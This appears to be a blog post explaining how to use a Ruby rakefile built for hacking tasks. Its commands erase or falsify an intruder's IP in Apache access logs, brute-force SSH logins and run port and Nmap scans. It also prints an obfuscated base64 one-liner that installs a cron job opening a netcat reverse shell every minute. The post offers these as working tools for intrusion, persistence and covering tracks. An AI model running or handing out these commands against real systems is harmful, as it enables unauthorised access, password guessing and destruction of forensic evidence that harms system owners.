Hacking with Rakefile

Rake is a utility that can be used to automate tasks. For example, if a program needs to be set up in a certain way. Rake could be used to prep the environment so that the program can run smoothly. Rakefiles are similar to makefiles, but it is written in Ruby and follows Ruby syntax.

This article will explain how to use the rakefile located here. The rakefile is designed to help perform different hacking tasks.

This program has the following features:

• Remove Apache2 log entries that contain an IP.
• Replacing the IP of Apache2 log entries with a randomly generated IP.
• Port scan in pure Ruby
• Generate a base64 encoded reverse shell
• Crawl a site looking for URLs
• Clean: remove any .txt file in the current directory
• Nmap UDP port scan
• Nmap Service Scan
• Forward SSH tunnel
• SSH Brute force
• Ping scan

Apache2 remove IP from log

This feature will read the /var/log/access.log and remove the IP from the log.

To run this command enter the following command into your terminal:

rake rmip["126.237.100.111"]
ruby rakefile.rb --rmip 126.237.100.1111

The command below will also remove the IP from the logs.

Replace IP in Apache2 log

Instead of removing the IP and logline, this feature will generate a random IP and replace the given IP in the log.

rake replaceip["126.237.100.111"]

The command above will go through each line of the Apache2 log and replace any IPs that match “126.237.100.111” with a randomly generated IP.

ruby rakefile.rb --replaceip 126.237.100.111

Port Scan

To perform a port scan with rakefile, enter the following command into your terminal. This feature is multi-threaded so the port scan should be fast.

rake ps["127.0.0.1"]

To perform a port scan on the target, enter the command above. In the example above the script will scan the IP 127.0.0.1.

The command below can also be used to run a port scan on a target.

ruby rakefile.rb --ps 127.0.0.1

If you get an error that says “Too many open files”, run the following command. I could not figure out a way to implement the command into the program to automatically run.

ulimit -n 4000

This will allow the script to open more sockets.

Reverse Shell

The reverse shell uses Netcat for the reverse shell

rake rs["127.0.0.1","80"]

The command above will use rake to print out the command for the reverse shell. The user can then copy and paste into the terminal that they want the shell on.

ruby rakefile.rb --rs 127.0.0.1 --port 80

The command can be also ran by using the command above.

echo -n 'IyEvYmluL2Jhc2gKICAgICAgICBsaW5lPSIqICogKiAqICogbmMgLWUgL2Jpbi9zaCAxMjcuMC4wLjEgODAiCiAgICAgICAgKGNyb250YWIgLXUgJCh3aG9hbWkpIC1sOyBlY2hvICIkbGluZSIgKSB8IGNyb250YWIgLXUgJCh3aG9hbWkpIC0=' | base64 -d >> t.sh; bash t.sh; rm t.sh;

The string above is what the output should look like, the script will take the IP and port that the user gave and add it to a bash script. Then the code will base64 the bash script and print out the string above.

Get Michael Meade’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

When the command above is ran on a Linux system it will do the following:

• The code will decode the base64ed string and write the string to a file named t.sh.
• The command will then run the t.sh script and remove the t.sh file.
• The end result is that a cronjob is created that will connect to the netcat server every minute.

`The cronjob that it creates

Crawling sites

rake crawl["google.com"]

The command above will crawl google.com and save all the links that it finds in a text file.

ruby rakefile.rb --crawl google.com

Like all of the other tasks in the rakefile.rb this feature can be ran with command above.

Clean

rake clean

The clean task will remove any txt files that are in the current directory.

ruby rakefile.rb --clean

Nmap UDP scan

For this scan to work, make sure that Nmap is installed on your system. This can be done by entering the following command, sudo apt-get install nmap .

This feature will use Nmap’s -sU command to perform a UPD scan on the given IP. The tasks will save the contents of the scan into a text file named upd_scan.txt .

rake udp["127.0.0.1"]

This tasks also allows the user to change the file name that the scan results are saved to. By default the task is coded to use udp_scan.txt .

rake upd["127.0.0.1","updscan_1-26-2022.txt"]

The command above will save the contents of the scan into a file named updscan_1-26-2022.txt instead of the upd_scan.txt file.

ruby rakefile.rb --upd 127.0.0.1

Nmap Service scan

rake sv["127.0.0.1"]

Nmap should be already installed on the machine. The command above will run a rake task that will perform a Nmap Service & version scan. The code will save the contents of the scan in a file named sevrice_scan.txt .

The command can also be ran using the following command.

ruby rakefile.rb --sv 127.0.0.1

Forward SSH Tunnel

Using the net-ssh gem, this feature will create a forward SSH tunnel on the remote machine. For example, if I have a my Monero wallet RPC program running on a remote server. I can use the SSH tunnel so that I can access and call the RPC API. Even if I am not on the same network. This is handy because the Monero wallet port is not facing the internet and I do not have to worry about people trying to hack into my wallet and stealing my hard earned Monero.

rake xmr["127.0.0.1","80","239.30.212.152","xmr"]

• 127.0.0.1 is the local IP.

This is the IP that all the traffic is forward to, it allows me to access the RPC API.

• 80 is the local port.

This is the port that I will listen on so I can access the RPC API.

• 239.30.212.152 is the remote server

This is the IP where I am running the Wallet. It must have a open SSH port for it to forward the traffic.

• XMR is the SSH profile. This tells the program the login information that is needed so that it can successfully create the SSH tunnel. The information is stored in a JSON file.

SSH Brute force

The SSH brute force features has the following options:

• host: the IP of the sever to brute.
• ffile: Where valid logins are stored. By default the the is named “found.txt”. Stands for foundfile.
• wl: The wordlist that is used to brute force. By default the file name is brute.txt

The wl file should be formatted that the username & password are separated by a colon ( : ). A example is shown below.

root:password

Running the commands

rake sshbrute["239.30.212.152"]

ruby rakefile.rb --sshbrute 239.30.212.152

Ping Scan

rake pingscan["192.168.1.*"]
ruby rakefile.rb --pingscan 192.168.1.*

This will save the IPs that pinged back in a file named ping_ips.txt.

Installing the needed gems

gem install net-ssh
gem install spidr
gem install net-scp
gem install net-ping